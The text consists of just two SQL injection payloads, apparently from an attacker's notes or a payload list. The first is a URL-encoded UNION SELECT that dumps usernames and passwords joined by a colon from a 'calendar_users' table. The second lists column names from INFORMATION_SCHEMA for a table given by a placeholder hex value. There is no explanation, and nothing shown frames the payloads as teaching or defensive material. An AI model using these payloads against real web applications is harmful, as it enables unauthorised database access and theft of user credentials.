-1+UNION+SELECT+1,2,3,group_concat(username,0x3a,password),5,6,7,8+FROM+calendar_users+LIMIT+1,1+--
-1 UNION SELECT 1,2,3, COLUMN_NAME,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xblablabla LIMIT 0,100 --